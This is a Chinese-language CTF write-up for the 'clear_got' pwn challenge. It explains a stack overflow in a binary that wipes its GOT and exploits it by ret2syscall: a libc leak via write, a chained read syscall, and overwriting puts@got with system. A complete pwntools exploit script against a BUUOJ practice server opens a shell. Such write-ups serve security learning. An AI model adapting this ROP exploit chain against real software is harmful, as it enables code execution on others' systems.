clear_got
<p>[TOC]</p>
<h1>分析</h1>
<p><img src="https://pic.imgdb.cn/item/63ae7fe708b68301630b8cd1.png" alt="" /> </p>
<p>主要逻辑很简单,就是一个溢出,但是把got表给清空了,这就导致我们无法调用函数</p>
<p><img src="https://pic.imgdb.cn/item/63ae803208b68301630c13a8.png" alt="" /> </p>
<p>但是题目中给了syscall,那就可以采用ret2syscall的方式来完成攻击,main函数里清除了除了 <code>__libc_start_main</code> 的内容,而且bss段里还有stdout之类的存储着libc地址,我们可以利用这里的write系统调用来泄露,主要考虑的是泄露完成后的操作。一次写入肯定不够,所以要想办法构造read的系统调用,最主要的就是如何将rax置0</p>
<p><img src="https://pic.imgdb.cn/item/63ae814808b68301630df42d.png" alt="" /> </p>
<p>main函数的最后几条语句就将rax置0了,但是要注意leave指令的问题,我们第一次如果覆盖了rbp为任意值,这里再一次leave就会造成栈迁移,很凑巧的是end2的 <code>push rbp; mov rbp, rsp</code> 可以弥补这个问题,按照正常的流程end2其实是不能正常返回的,只能ret rbp,就会直接报错,但是我们在溢出覆盖的时候将rbp覆盖为eax置0处,end2就会返回去执行,同时这时候rbp是push ebp后的位置,ret后可以完美运行接下来的ROP</p>
<p>我们构造出read主要是为了向puts@got写入system地址并同时写入“/bin/sh”,在ROP的结尾构造即read执行完后执行puts(“/bin/sh”)即可获取到shell</p>
<h1>Exploit</h1>
<pre><code>from pwn import*
from LibcSearcher import*
# o = process("./pwn")
o = remote('node4.buuoj.cn', '28711')
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
libc_start_main_got = 0x601040
write_syscall = 0x400773
mov_eax = 0x40075C
got = 0x601008
payload = 'a'*0x60 + p64(mov_eax) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(libc_start_main_got) + p64(0) + p64(write_syscall) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(got) + p64(0) + p64(write_syscall+0xb) + p64(pop_rdi) + p64(0x601018+8) + p64(0x40071E)
o.recv()
o.sendline(payload)
libc_start_main = u64(o.recv(6)+"\x00\x00")
libc = LibcSearcher("__libc_start_main", libc_start_main)
libc_base = libc_start_main - libc.dump("__libc_start_main")
log.info("libc_base: %x", libc_base)
system = libc_base + libc.dump("system")
payload = p64(system)*3 + "/bin/sh\x00"
o.sendline(payload)
o.interactive()
</code></pre>
<p><img src="https://pic.imgdb.cn/item/63ae941808b68301632dc08b.png" alt="" /></p>